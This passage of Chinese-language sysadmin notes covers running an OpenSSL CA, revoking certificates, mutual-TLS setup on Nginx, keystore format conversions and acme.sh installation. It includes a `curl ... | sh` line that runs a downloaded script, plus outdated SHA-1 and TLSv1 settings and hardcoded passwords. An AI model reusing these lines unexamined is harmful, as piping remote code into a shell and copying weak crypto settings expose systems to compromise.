                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
            Netscape Comment: 
                OpenSSL Generated Certificate
            X509v3 Subject Key Identifier: 
                03:28:C4:A1:46:73:25:C0:FC:2B:7D:AE:6D:D9:BB:9D:47:77:5F:59
            X509v3 Authority Key Identifier: 
                keyid:36:76:B8:8F:C5:2E:C9:3A:CD:A6:F6:5D:18:BA:D2:9C:C8:A0:CA:85

    Signature Algorithm: sha256WithRSAEncryption
         48:86:90:2e:53:df:74:45:97:d9:d1:5b:a6:c2:4d:b3:6f:95:
         6a:bb:9e:df:f2:05:58:80:f8:ae:e4:0a:67:8f:79:6c:33:41:
         80:8d:ca:92:2f:db:2f:22:51:48:3b:53:6c:d6:77:9e:57:46:
         63:5e:10:63:3c:6e:16:b5:cf:2e:29:f4:de:1f:dd:6a:6a:70:
         f8:79:1e:6d:48:3b:cf:a3:56:00:7a:61:b2:68:f0:e6:03:07:
         70:b2:fe:28:73:b6:53:82:5d:50:44:1e:97:d3:7c:1c:ed:22:
         15:ae:61:22:e5:c0:e8:2a:72:fa:b0:c2:dc:38:ed:f4:c2:6c:
         9b:60:f0:e7:55:78:6e:10:a8:a7:3e:96:87:8e:e9:06:b2:a2:
         23:4a:70:11:a9:6e:88:89:c8:02:d0:b1:7e:05:0e:e1:7d:3d:
         ee:7a:ec:26:0d:fe:ad:45:a6:4f:4e:37:1d:f9:fb:67:b0:28:
         92:e0:ed:91:72:a3:61:86:99:87:a6:ab:bc:4f:b5:a1:5a:ae:
         0e:61:6a:10:dd:cc:41:15:d8:1d:8a:31:a9:08:4a:07:e4:31:
         25:07:da:bc:63:77:e9:d1:5e:30:43:28:84:89:9f:d5:ed:4f:
         c1:1e:21:4e:d3:51:9a:36:cb:27:f6:6c:53:9b:b2:ed:17:35:
         9b:70:03:54
-----BEGIN CERTIFICATE-----
MIIDrDCCApSgAwIBAgIBATANBgkqhkiG9w0BAQsFADBlMQswCQYDVQQGEwJDTjEQ
MA4GA1UECAwHYmVpamluZzEQMA4GA1UEBwwHYmVpamluZzEMMAoGA1UECgwDb3Bz
MQ8wDQYDVQQLDAZkZXZvcHMxEzARBgNVBAMMCmNhLnhjdy5vcmcwHhcNMjEwMzA5
MjM0MzIyWhcNMjMxMjA0MjM0MzIyWjBRMQswCQYDVQQGEwJDTjEQMA4GA1UECAwH
YmVpamluZzEMMAoGA1UECgwDb3BzMQswCQYDVQQLDAJpdDEVMBMGA1UEAwwMYXBw
MS54Y3cub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95PGnKyG
xYF/yJJwPVMGjk7I+Vo20Pgwy2y4p4rvCxAQFVvs19U8hfoP3NPo6FQBmhWlWHFw
9H6ES10bRBuCEUR8bKaTG670CfncE5Xn4e/m5NgFgsr6PfDLEl/XioAJLb/dR2ON
YL6qECZbxTpX1BE2JvSSlmvnvkApBw/pqZ3/jdQ+o/Nx52UkoHMluMPpDJaQ4O/+
IBjYzVYhn2LubN4ovOe4JRJTqcvkT9XaB2uUiDqLwTViveLPDsFyeTtMtKIJJTYA
JCbd/65Dibuxh0DsvQ0hxB6ghaJbYfLCqkZ2PwMMx4BGcM63eZqF5+ecdV2jPxQS
oJ2Q58LQIbOj6QIDAQABo3sweTAJBgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1P
cGVuU1NMIEdlbmVyYXRlZCBDZXJ0aWZpY2F0ZTAdBgNVHQ4EFgQUAyjEoUZzJcD8
K32ubdm7nUd3X1kwHwYDVR0jBBgwFoAUNna4j8UuyTrNpvZdGLrSnMigyoUwDQYJ
KoZIhvcNAQELBQADggEBAEiGkC5T33RFl9nRW6bCTbNvlWq7nt/yBViA+K7kCmeP
eWwzQYCNypIv2y8iUUg7U2zWd55XRmNeEGM8bha1zy4p9N4f3WpqcPh5Hm1IO8+j
VgB6YbJo8OYDB3Cy/ihztlOCXVBEHpfTfBztIhWuYSLlwOgqcvqwwtw47fTCbJtg
8OdVeG4QqKc+loeO6QayoiNKcBGpboiJyALQsX4FDuF9Pe567CYN/q1Fpk9ONx35
+2ewKJLg7ZFyo2GGmYemq7xPtaFarg5hahDdzEEV2B2KMakISgfkMSUH2rxjd+nR
XjBDKISJn9XtT8EeIU7TUZo2yyf2bFObsu0XNZtwA1Q=
-----END CERTIFICATE-----

[root@centos8 ~]#openssl x509 -in /etc/pki/CA/certs/app1.crt -noout -text # -noout -text 只输出文件头部分

# 看证书指定部分
[root@centos8 ~]#openssl x509 -in /etc/pki/CA/certs/app1.crt -noout -issuer
issuer= /C=CN/ST=beijing/L=beijing/O=ops/OU=devops/CN=ca.xcw.org
[root@centos8 ~]#openssl x509 -in /etc/pki/CA/certs/app1.crt -noout -subject
subject= /C=CN/ST=beijing/O=ops/OU=it/CN=app1.xcw.org
[root@centos8 ~]#openssl x509 -in /etc/pki/CA/certs/app1.crt -noout -dates
notBefore=Mar  9 23:43:22 2021 GMT
notAfter=Dec  4 23:43:22 2023 GMT
[root@centos8 ~]#openssl x509 -in /etc/pki/CA/certs/app1.crt -noout -serial
serial=01

#验证指定编号对应证书的有效性
[root@centos8 ~]#openssl ca -status 01
Using configuration from /etc/pki/tls/openssl.cnf
01=Valid (V)

[root@centos8 ~]#cat /etc/pki/CA/index.txt
V   231204234322Z       01  unknown /C=CN/ST=beijing/O=ops/OU=it/CN=app1.xcw.org

V:表示已经签署的
01:表示证书序列号
/C=CN/ST=Beijing/O=… ...:  表示主题信息(主题标识)
[root@centos8 ~]#cat /etc/pki/CA/index.txt.old
[root@centos8 ~]#cat /etc/pki/CA/serial # 下一个要颁发证书的编号
02
[root@centos8 ~]#cat /etc/pki/CA/serial.old
01
将证书相关文件发送到用户端使用
[root@centos8 ~]#cp /etc/pki/CA/certs/app1.crt /data/app1/
[root@centos8 ~]#tree /data/app1/
/data/app1/
├── app1.crt
├── app1.csr
└── app1.key

0 directories, 3 files
证书的信任

默认生成的证书,在windows上是不被信任的,可以通过下面的操作实现信任

将根证书信任,它下级的证书也会自动信任

打开internet属性

image-20210407163007305.png
image-20210407163027171.png
image-20210407163047785.png

image-20210407163843440.png image-20210407163911656.png image-20210407163946719.png image-20210407164000317.png image-20210407164704060.png image-20210407164645314.png

证书的吊销
[root@centos8 ~]#openssl ca -revoke /etc/pki/CA/newcerts/01.pem
Using configuration from /etc/pki/tls/openssl.cnf
Revoking Certificate 11.
Data Base Updated

[root@centos8 ~]#openssl ca -status 01
Using configuration from /etc/pki/tls/openssl.cnf
01=Revoked (R)
R   231204234322Z   210310001314Z   01  unknown /C=CN/ST=beijing/O=ops/OU=it/CN=app1.xcw.org
@wangedu.org
生成证书吊销列表文件
[root@centos8 ~]#openssl ca -gencrl -out /etc/pki/CA/crl.pem
Using configuration from /etc/pki/tls/openssl.cnf
/etc/pki/CA/crlnumber: No such file or directory
error while loading CRL number
140511895181120:error:02001002:system library:fopen:No such file or
directory:crypto/bio/bss_file.c:72:fopen('/etc/pki/CA/crlnumber','r')
140511895181120:error:2006D080:BIO routines:BIO_new_file:no such
file:crypto/bio/bss_file.c:79:

[root@centos8 ~]#echo 01 > /etc/pki/CA/crlnumber # 被吊销编号,从01开始和index没关系
[root@centos8 ~]#openssl ca -gencrl -out /etc/pki/CA/crl.pem # 可将文件放到公布的网络能被访问到
Using configuration from /etc/pki/tls/openssl.cnf

[root@centos8 ~]#cat /etc/pki/CA/crlnumber
02
[root@centos8 ~]#cat /etc/pki/CA/crl.pem
-----BEGIN X509 CRL-----
MIIB1DCBvQIBATANBgkqhkiG9w0BAQsFADBlMQswCQYDVQQGEwJDTjEQMA4GA1UE
CAwHYmVpamluZzEQMA4GA1UEBwwHYmVpamluZzEMMAoGA1UECgwDb3BzMQ8wDQYD
VQQLDAZkZXZvcHMxEzARBgNVBAMMCmNhLnhjdy5vcmcXDTIxMDMxMDAwMjgwNFoX
DTIxMDQwOTAwMjgwNFowFDASAgEBFw0yMTAzMTAwMDEzMTRaoA4wDDAKBgNVHRQE
AwIBATANBgkqhkiG9w0BAQsFAAOCAQEAg9nJ+vRqvvXkYuSLWJe7Z3h2iIgwyss+
ESNTc9lNAUCVjjhHax5UqoAVjnmLyVZbcJCV8Z2RjLtyhkgjxLVnBq2BqTnILsTO
CcgteU3pV1xUiyFcdEWiNwcp93R0ki2hVgFRvl7DThmCxWTKiiQ8DQb47wBM5pM2
PMAWgEKqgAeY0MPoII4js64teptKL9S5g6cwYYZWz3jHSuTcIUco9V1K+qdmo+DT
ni1fYsDQr+zxIC6uOFcqe8MaT9AuS+6mhLx3w/5xswcak0XYje8OoGjpo3tnxaYj
GucPZf7yRzKI34cKyFAeuUAmik52VDJa9PmXT3rNIORWuaOnU+FNxQ==
-----END X509 CRL-----

[root@centos8 ~]#openssl crl -in /etc/pki/CA/crl.pem -noout -text
Certificate Revocation List (CRL):
        Version 2 (0x1)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: /C=CN/ST=beijing/L=beijing/O=ops/OU=devops/CN=ca.xcw.org
        Last Update: Mar 10 00:28:04 2021 GMT
        Next Update: Apr  9 00:28:04 2021 GMT
        CRL extensions:
            X509v3 CRL Number: 
                1
Revoked Certificates:
    Serial Number: 01
        Revocation Date: Mar 10 00:13:14 2021 GMT
    Signature Algorithm: sha256WithRSAEncryption
         83:d9:c9:fa:f4:6a:be:f5:e4:62:e4:8b:58:97:bb:67:78:76:
         88:88:30:ca:cb:3e:11:23:53:73:d9:4d:01:40:95:8e:38:47:
         6b:1e:54:aa:80:15:8e:79:8b:c9:56:5b:70:90:95:f1:9d:91:
         8c:bb:72:86:48:23:c4:b5:67:06:ad:81:a9:39:c8:2e:c4:ce:
         09:c8:2d:79:4d:e9:57:5c:54:8b:21:5c:74:45:a2:37:07:29:
         f7:74:74:92:2d:a1:56:01:51:be:5e:c3:4e:19:82:c5:64:ca:
         8a:24:3c:0d:06:f8:ef:00:4c:e6:93:36:3c:c0:16:80:42:aa:
         80:07:98:d0:c3:e8:20:8e:23:b3:ae:2d:7a:9b:4a:2f:d4:b9:
         83:a7:30:61:86:56:cf:78:c7:4a:e4:dc:21:47:28:f5:5d:4a:
         fa:a7:66:a3:e0:d3:9e:2d:5f:62:c0:d0:af:ec:f1:20:2e:ae:
         38:57:2a:7b:c3:1a:4f:d0:2e:4b:ee:a6:84:bc:77:c3:fe:71:
         b3:07:1a:93:45:d8:8d:ef:0e:a0:68:e9:a3:7b:67:c5:a6:23:
         1a:e7:0f:65:fe:f2:47:32:88:df:87:0a:c8:50:1e:b9:40:26:
         8a:4e:76:54:32:5a:f4:f9:97:4f:7a:cd:20:e4:56:b9:a3:a7:
         53:e1:4d:c5

[root@centos8 ~]#sz /etc/pki/CA/crl.pem
#将此文件crl.pem传到windows上并改后缀为crl.pem.crl
各种服务开启SSL

范例:apache服务:开启ssl

1、vi /usr/local/apache/conf/httpd.conf
去掉这行注释
Include conf/extra/httpd-ssl.conf

2、vi /usr/local/apache/conf/extra/httpd-ssl.conf 
修改以下两项,将openssl生成的证书cp到相应路径(/etc/httpd2/)
SSLCertificateFile "/etc/httpd2/httpd.crt"
SSLCertificateKeyFile "/etc/httpd2/httpd.key"
ServerName www.emacle.com:443

3、重启服务
apachectl start

范例:nginx

listen 443 ssl;
#ssl on;    #在server中多个端口配置需要注释掉,不然报400错误
ssl_certificate ssl/214049825510693.pem;
ssl_certificate_key ssl/214049825510693.key;
ssl_session_cache   shared:SSL:20m;
ssl_session_timeout 10m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers ALL:!ADH:!EXPORT56:-RC4+RSA:+HIGH:+MEDIUM:!EXP;
ssl_prefer_server_ciphers on;
HTTPS双向认证的负载均衡服务

华为云 https://support.huaweicloud.com/usermanual-elb/zh_cn_elb_03_0006.html

阿里云 https://help.aliyun.com/document_detail/85954.html

使用场景

一般的HTTPS业务场景只对服务器做认证,因此只需要配置服务器的证书即可。 某些关键业务(如银行支付),需要对通信双方的身份都要做认证,即双向认证, 以确保业务的安全性。

此时,除了配置服务器的证书之外,还需要配置客户端的证书,以实现通信双方 的双向认证功能。

使用OpenSSL制作CA证书

# 1登录到任意一台安装有openssl工具的Linux机器。
# 2创建工作目录并进入该目录。
mkdir ca
cd ca

# 3创建CA证书的openssl配置文件ca_cert.conf,内容如下:
[ req ]
distinguished_name     = req_distinguished_name
prompt                 = no

[ req_distinguished_name ]
 O                      = ELB

# 4 创建CA证书私钥文件ca.key。
openssl genrsa -out ca.key 2048

# 5创建CA证书的csr请求文件ca.csr。
openssl req -out ca.csr -key ca.key -new -config ./ca_cert.conf

# 6 创建自签名的CA证书ca.crt。
openssl x509 -req -in ca.csr -out ca.crt -sha1 -days 5000 -signkey ca.key

使用CA证书签发服务器证书

用户可以用权威CA签发的证书或者自签名的证书,这里以自签名证书为例说明如 何创建服务器证书。

# 1 登录到生成CA证书的服务器。
# 2 创建与CA平级的目录,并进入该目录。
mkdir server
cd server

# 3 创建服务器证书的openssl配置文件server_cert.conf,内容如下
[ req ]
distinguished_name     = req_distinguished_name
prompt                 = no

[ req_distinguished_name ]
 O                      = ELB
 CN                     = www.test.com
#说明:
#CN字段可以根据需求改为服务器对应的域名、IP地址。

# 4 创建服务器证书私钥文件server.key。
openssl genrsa -out server.key 2048

# 5 创建服务器证书的csr请求文件server.csr。
openssl req -new -out server.csr -key server.key -config ./server_cert.conf

# 6 使用CA证书签发服务器证书server.crt。
openssl x509 -req -in server.csr -out server.crt -sha1 -CAcreateserial -days 5000 -CA ../ca/ca.crt -CAkey ../ca/ca.key

使用CA证书签发客户端证书

# 1 登录到生成CA证书的服务器。
# 2 创建与CA平级的目录,并进入该目录。
mkdir client
cd client

# 3 创建客户端证书的openssl配置文件client_cert.conf,内容如下:
[ req ]
distinguished_name     = req_distinguished_name
prompt                 = no

[ req_distinguished_name ]
 O                      = ELB
 CN                     = www.test.com
#说明:
#CN字段可以根据需求改为对应的域名、IP地址。

# 4 创建客户端证书私钥文件client.key。
openssl genrsa -out client.key 2048

# 5 创建客户端证书的csr请求文件client.csr。
openssl req -out client.csr -key client.key -new -config ./client_cert.conf

# 6 使用CA证书签发客户端证书client.crt。
openssl x509 -req -in client.csr -out client.crt -sha1 -CAcreateserial -days 5000 -CA ../ca/ca.crt -CAkey ../ca/ca.key

# 7 把客户端证书格式转为浏览器可识别的p12格式。
openssl pkcs12 -export -clcerts -in client.crt -inkey client.key -out client.p12

在nginx上做双向认证

把前面生成的服务器证书server.crt、私钥server.key、CA证书ca.crt放到 nginx对应的配置文件中这里只列出server段的关键部分,

ssl_certificate  /etc/pki/ca_linvo/server/server.crt;     #server公钥
ssl_certificate_key  /etc/pki/ca_linvo/server/server.key; #server私钥
ssl_client_certificate   /etc/pki/ca_linvo/root/ca.crt;   #根级证书公钥,用于验证各个二级client
ssl_verify_client on;
重启Nginx

导入客户端证书并测试

浏览器方式功能测试

浏览器导入客户端证书(以Internet Explorer 11为例说明)
1. 把客户端证书从Linux机器导出来,即前面签发的client.p12证书文件。
2. 单击“设置 > Internet选项”,切换到“内容”页签。
3. 单击“证书”,然后单击“导入”,导入client.p12证书文件。
image-20210407192009434.png
image-20210407192031014.png

Curl工具方式功能测试

1. 导入客户端证书
把客户端证书client.crt和客户端私钥文件client.key拷贝到新目录,如目录/home/client_cert。

2. 测试验证
在shell界面,输入以下命令,请输入正确的证书地址和密钥文件地址,以及负载均衡器的IP地址和监听器端口(以下用https://XXX.XXX.XXX.XXX:XXX 表示,以实际IP地址和端口为准)。
curl -k --cert /home/client_cert/client.crt --key /home/client_cert/client.key https://XXX.XXX.XXX.XXX:XXX/ -I

如果可以正确获得响应码,说明验证成功

证书性能

OpenSSL自带了性能评测工具,你可以使用它对系统的能力和上限进行一个大致 的评定。你可以使用speed 命令来执行评测。

# Web服务器安全考虑,你可能会关心RC4、AES、RSA、ECDH和SHA算法
openssl speed rc4 aes rsa ecdh sha

证书转换

主流Web服务软件

一般来说,主流的Web服务软件,通常都基于OpenSSL和Java两种基础密码库。

Tomcat、Weblogic、JBoss等Web服务软件,一般使用Java提供的密码库。通过 Java Development Kit (JDK)工具包中的Keytool工具,生成Java Keystore(JKS)格式的证书文件。

Apache、Nginx等Web服务软件,一般使用OpenSSL工具提供的密码库,生成PEM、 KEY、CRT等格式的证书文件。

IBM的Web服务产品,如Websphere、IBM Http Server(IHS)等,一般使用IBM产 品自带的iKeyman工具,生成KDB格式的证书文件。

微软Windows Server中的Internet Information Services(IIS)服务,使用 Windows自带的证书库生成PFX格式的证书文件。

如何判断证书文件是文本格式还是二进制格式?

您可以使用以下方法简单区分带有后缀扩展名的证书文件:

  • *.DER 或*.CER文件 : 这样的证书文件是二进制格式,只含有证书信息, 不包含私钥。
  • *.CRT文件 : 这样的证书文件可以是二进制格式,也可以是文本格式,一 般均为文本格式,功能与 *.DER*.CER 证书文件相同。
  • *.PEM文件 : 这样的证书文件一般是文本格式,可以存放证书或私钥,或 者两者都包含。 *.PEM 文件 如果只包含私钥,一般用 *.KEY文件 代替。
  • *.PFX或*.P12文件 : PKCS#12 (PFX) key and certificate(s) 这样的证 书文件是二进制格式,同时包含证书和私钥,且一般有密码保护。虽然很久以 前PFX表示PKCS#12之前的版本,现在PFX常被用作PKCS#12的代名词
  • .p7b和.p7c文件 :PKCS#7 certificate(s) 这样的证书文件是二进制格式, 文件里面可以包括所需的整个证书链

您也可以使用记事本直接打开证书文件。如果显示的是规则的数字字母,例如:

—–BEGIN CERTIFICATE—–
MIIE5zCCA8+gAwIBAgIQN+whYc2BgzAogau0dc3PtzANBgkqh......
—–END CERTIFICATE—–

那么,该证书文件是文本格式的。

如果存在 ------BEGIN CERTIFICATE------ ,则说明这是一个证书文件。

如果存在 -----BEGIN RSA PRIVATE KEY----- ,则说明这是一个私钥文件。

证书格式转换

image-20210326143152617.png
PFX(PKCS12)格式和JKS格式证书

使用JDK中自带的Keytool工具

#jks -> pfx
keytool -importkeystore -srckeystore keystore.jks -srcstoretype JKS -deststoretype PKCS12 -destkeystore keystore.p12

#pfx -> jks
keytool -importkeystore -srckeystore keystore.p12 -srcstoretype PKCS12 -deststoretype JKS -destkeystore keystore.jks 
#-deststorepass changeit -alias s1as # 证书默认密码是changeit

# 将证书转换为大多数浏览器都能识别的PKCS12文件
export MARATHON_PKCS_PASSWORD=marathonwowopass
openssl pkcs12 -name marathon  -inkey marathon.key -passin "env:MARATHON_KEY_PASSWORD" -in marathon.crt  -password "env:MARATHON_PKCS_PASSWORD" -export -out marathon.pkcs12

# PKCS12文件转JKS
export MARATHON_JKS_PASSWORD=marathonwowopass
keytool -importkeystore -srckeystore marathon.pkcs12 -srcalias marathon -srcstorepass $MARATHON_PKCS_PASSWORD -srcstoretype PKCS12 -destkeystore marathon.jks -deststorepass $MARATHON_JKS_PASSWORD

[root@xy-spacebridge-nginx001 bin]# ./keytool -importkeystore -srckeystore /root/20190417.p12 -srcstoretype PKCS12 -deststoretype JKS -destkeystore /root/iot.jks
Enter destination keystore password:  目标文件密码
Re-enter new password: 目标文件密码
Enter source keystore password:  p12文件密码
Entry for alias 1 successfully imported.
Import command completed:  1 entries successfully imported, 0 entries failed or cancelled
PEM格式与PFX格式证书

PFX 格式的证书一般出现在 Windows Server 服务器中

# 1.PEM格式-->PFX格式
除pem格式的key的密码(输出的密码不输入即可)
openssl rsa -in cert2.key -out cert22.key

# 将KEY格式密钥文件和CRT格式公钥文件转换成PFX格式证书文件。
openssl pkcs12 -export -out server.pfx -inkey server.key -in server.crt
#输出
Enter Export Password:
Verifying - Enter Export Password:
# -passout pass:changeit -name s1as # 该证书默认密码是changeit。

#指定intermedian和CA
openssl pkcs12 -export -out mypkcs12.pfx -inkey my.private.key -in mycert.crt -certfile intermediate.crt -CAfile ca.crt

# 2. PEM格式<--PFX格式
#将PFX格式证书文件转化为KEY格式密钥文件和CRT格式公钥文件

openssl pkcs12 -in server.pfx -out server.pem # server.pem证书文件
#如无需加密pem中私钥,可以添加选项-nodes;

openssl rsa -in server.pem -out server.key # KEY格式密钥文件(server.key)
openssl x509 -in server.pem -out server.crt # CRT格式公钥文件(server.crt)
openssl pkcs12 -in server.pfx -nodes -nokeys -out server.crt # 如无需导出私钥,可以添加选项-nokeys  CRT格式公钥文件(server.crt)

#提取
#提取私钥命令:
openssl pkcs12 -in certname.pfx -nocerts -out key.pem -nodes
#提取证书命令:
openssl pkcs12 -in certname.pfx -nokeys -out cert.pem
PEM格式与DER格式证书

PEM 编码的证书:

-----BEGIN CERTIFICATE-----
Base64–encoded certificate
-----END CERTIFICATE-----

PEM 编码的证书链:

-----BEGIN CERTIFICATE-----
Base64–encoded certificate
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
Base64–encoded certificate
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
Base64–encoded certificate
-----END CERTIFICATE-----

PEM 编码的私有密钥(仅限私有证书):

-----BEGIN RSA PRIVATE KEY-----
Base64–encoded private key
-----END RSA PRIVATE KEY-----
#PEM <--DER
openssl x509 -in cert22.cer -inform DER -out cert22.pem -outform PEM
#其它PEM <--DER
openssl rsa -in ca_private.der -inform DER -outform PEM -out ca.key
#PEM <--CER/CRT
openssl x509 -in cert2.cer -out cert2.pem -outform PEM

提取证书:openssl x509 -inform der -in certificate.cer -out certificate.pem
提取私钥:openssl rsa -inform DER -outform PEM -in privatekey.der -out privatekey.pem

#PEM -->DER
openssl x509 -in cert22.pem -inform PEM -out cert22.der -outform DER
#其它PEM -->DER
openssl rsa -in ca.key -outform DER -out ca_private.der
openssl pkcs8 -topk8 -nocrypt -inform PEM -outform DER -in ca.key -out ca_private.der
#PEM -->CER/CRT
openssl x509 -in cert22.pem -out cert22.crt
PEM格式与P7B格式证书

P7B 格式证书一般出现在 Windows Server 和 Tomcat 服务器中,

# PEM --> P7B(PEM--PKCS#7)
openssl crl2pkcs7 -nocrl -certfile certificate.cer -out certificate.p7b -certfile CACert.cer

#PEM <-- P7B(PEM--PKCS#7)
openssl pkcs7 -print_certs -in incertificat.p7b -out outcertificate.cer

# P7B--PFX(PKCS#7--PKCS#12)
openssl pkcs7 -print_certs -in certificate.p7b -out certificate.cer
openssl pkcs12 -export -in certificate.cer -inkey privateKey.key -out certificate.pfx -certfile CACert.cer


# PEM--SPC
openssl crl2pkcs7 -nocrl -certfile venus.pem -outform DER -out venus.spc

# PEM--PVK(openssl 1.x开始支持)
openssl rsa -in mycert.pem -outform PVK -pvk-strong -out mypvk.pvk
#PEM--PVK(对于openssl 1.x之前的版本,可以下载pvk转换器后通过以下命令完成)
pvk -in ca.key -out ca.pvk -nocrypt -topvk
CER格式与BKS格式证书

在Android应用中使用自定义证书,CER转BKS

首先要下载特定版本的JCE Provider包

http://www.bouncycastle.org/download/bcprov-jdk15on-146.jar

http://repo2.maven.org/maven2/org/bouncycastle/bcprov-jdk16/1.46/bcprov-jdk16-1.46.jar

keytool -importcert -v -trustcacerts -alias 位置1 -file 位置2 -keystore 位置3 -storetype BKS -providerclass org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath 位置4 -storepass 位置5

说明:

位置1:是个随便取的别名
位置2:cer或crt证书的全地址
位置3:生成后bks文件的位置,建议写全地址
位置4:上面下载JCE Provider包的位置
位置5:生成后证书的密码

注意:

  1. 注意命令中不能有换行
  2. 地址必须全地址
  3. 文件要符合java命名规范
[root@jenkins01 ca]# keytool -importcert -v -trustcacerts -alias hdzy -file /root/ca/buy/291996.pem -keystore /root/ca/buy/291996.bks -storetype BKS -providerclass org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath "bcprov-jdk16-1.46.jar" -storepass qianyangyuanwang


是否信任此证书? [否]:        y                
证书已添加到密钥库中

CER和BKS格式证书文件转换

# jks 转 cert
keytool -export -alias cert0001 -keystore trust.jks -storepass 123456 -file cert0001.cer

# cert 转 jks
keytool -import -v -alias cert001 -file cert001.cer -keystore trust.jks -storepass 123456 -noprompt

keytool 是一个Java数据证书的管理工具,Keytool将密钥(key)和证书 (certificates)存在一个称为keystore的文件中在keystore里,包含两种数据:密 钥实体(Key entity)-密钥(secret key)或者是私钥和配对公钥(采用非对 称加密)可信任的证书实体(trusted certificate entries)-只包含公钥。

JDK中keytool常用参数说明(不同版本有差异,详细可参见【附录】中的官方文档链接):

-genkey 在用户主目录中创建一个默认文件”.keystore”,还会产生一个mykey的别名,mykey中包含用户的公钥、私钥和证书(在没有指定生成位置的情况下,keystore会存在用户系统默认目录)
-alias 产生别名 每个keystore都关联这一个独一无二的alias,这个alias通常不区分大小写
-keystore 指定密钥库的名称(产生的各类信息将不在.keystore文件中)
-keyalg 指定密钥的算法 (如 RSA DSA,默认值为:DSA)
-validity 指定创建的证书有效期多少天(默认 90)
-keysize 指定密钥长度 (默认 1024)
-storepass 指定密钥库的密码(获取keystore信息所需的密码)
-keypass 指定别名条目的密码(私钥的密码)
-dname 指定证书发行者信息 其中: “CN=名字与姓氏,OU=组织单位名称,O=组织名称,L=城市或区域名 称,ST=州或省份名称,C=单位的两字母国家代码”
-list 显示密钥库中的证书信息 keytool -list -v -keystore 指定keystore -storepass 密码
-v 显示密钥库中的证书详细信息
-export 将别名指定的证书导出到文件 keytool -export -alias 需要导出的别名 -keystore 指定keystore -file 指定导出的证书位置及证书名称 -storepass 密码
-file 参数指定导出到文件的文件名
-delete 删除密钥库中某条目 keytool -delete -alias 指定需删除的别 -keystore 指定keystore – storepass 密码
-printcert 查看导出的证书信息 keytool -printcert -file g:\sso\michael.crt
-keypasswd 修改密钥库中指定条目口令 keytool -keypasswd -alias 需修改的别名 -keypass 旧密码 -new 新密码 -storepass keystore密码 -keystore sage
-storepasswd 修改keystore口令 keytool -storepasswd -keystore g:\sso\michael.keystore(需修改口令的keystore) -storepass pwdold(原始密码) -new pwdnew(新密码)
-import 将已签名数字证书导入密钥库 keytool -import -alias 指定导入条目的别名 -keystore 指定keystore -file 需导入的证书

[root@dev-01 hbase-1.1.2]# cd /usr/java/jdk1.8.0_121/bin/
[root@dev-01 bin]# ./keytool
PFX格式与BKS格式证书

这里我提前生成了PFX文件

2064873_scf.baidu.net.key 私钥
2064873_scf.baidu.net.pem 证书
转p12文件命令
openssl pkcs12 -export -out 20190417.p12 -inkey 2064873_scf.baidu.net.key -in 2064873_scf.baidu.net.pem 
Enter Export Password:  p12password
Verifying - Enter Export Password: p12password

将PFX文件转换为BKS

1.请先下载第三方转换工具protecle,配置java环境

https://sourceforge.net/projects/portecle/

或者用windows版本的KeyStore Explorer来生成.jks文件。从如下地址下载安装: http://www.keystore-explorer.org/downloads.html

2.点击运行protecle.jar

image-20210326162811853.png

3.新建BKSStore 如果你要生成JKS文件就点jks

image-20210326163459822.png

4.导入p12密钥对,包含公钥和私钥

选择p12文件,输入p12文件的密码。如20190417.p12文件密码是p12password

image-20210326163518446.png

5.修改别名 这里我随便写了一个

image-20210326163540182.png

6.为客户端的私钥创建密码 比如密码是123456

image-20210326163554631.png

7.另存为BKS

另存文件,并输入刚才设置的密码。123456。导出文件为 *.jks 或bks什么的。

image-20210326163612640.png
BKS格式转BKS-v1格式证书
  1. Using Portecle:

    Downloads Portecle http://portecle.sourceforge.net/

    Open your bks file with the password and portecle

    Do Tools>>Change Keystore Type>>BKS-v1 Save the file

  2. You may use KeyStore Explorer

    The new file will be encoded with BKS-v1 and will not show anymore the error…. Note: Android works with differents BKS version: for instance, API 15 will require BKS-1 contrary to API 23 which require BKS, so you may need to put both files in your app.

Note 2: You can use this code:

int bks_version;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
    bks_version = R.raw.publickey; //The BKS file
} else {
    bks_version = R.raw.publickey_v1; //The BKS (v-1) file
}
KeyStore ks = KeyStore.getInstance("BKS");
InputStream in = getResources().openRawResource(bks_version);  
ks.load(in, "mypass".toCharArray());
PKCS1格式与PKCS8格式证书
#默认生成PKCS1格式PEM编码私钥
openssl genrsa -out ca.key 2048

# PKCS1 转 PKCS8
openssl pkcs8 -topk8 -nocrypt -in ca.key -out ca_private.pem
# PKCS8 转 PKCS1
openssl rsa -in ca_private.pem -out ca.key

可信任免费泛域名证书Let's Encrypt

目标:

  1. 自动申请证书
  2. 证书管理,到期天数

使用Let's Encrypt 免费泛域名证书 https://letsencrypt.org/

安装客户端acme.sh

curl https://get.acme.sh | sh -s email[email protected]
alias acme.sh=~/.acme.sh/acme.sh
echo 'alias acme.sh=~/.acme.sh/acme.sh' >> .bash_profile

自动为你创建 cronjob, 每天 0:00 点自动检测所有的证书, 如果快过期了,需 要更新, 则会自动更新证书.

简单使用

签发证书

acme.sh --issue -d esofar.cn -d www.esofar.cn -w /home/wwwroot/esofar.cn

简单解释下这条命令涉及的几个参数:

--issue是 acme.sh 脚本用来颁发证书的指令;
-d是--domain的简称,其后面须填写已备案的域名;
-w是--webroot的简称,其后面须填写网站的根目录。
生成的证书放在了/root/.acme.sh/esofar.cn目录。

命令查看和删除证书:

# 查看证书列表
acme.sh --list 

#查看证书具体内容
openssl x509 -in /data/zhengshu/xxx.com/fullchain.cer        -noout -text

# 查看证书时间
openssl x509 -in /data/zhengshu/xx.com/fullchain.cer        -noout -dates

# 删除证书
acme.sh remove <SAN_Domains>
acme.sh  --remove -d \*.book.com
或手动删除 /home/yxz/.acme.sh/xxx.xxx 文件夹。

#生成的证书放在了/root/.acme.sh/esofar.cn目录,因为这是 acme.sh 脚本的内部使用目录,而且目录结构可能会变化,所以我们不能让 Nginx 的配置文件直接读取该目录下的证书文件。
#正确的做法就是使用--installcert命令,指定目标位置,然后证书文件会被 copy 到相应的位置。
#一条命令即可解决:
acme.sh  --installcert -d esofar.cn \
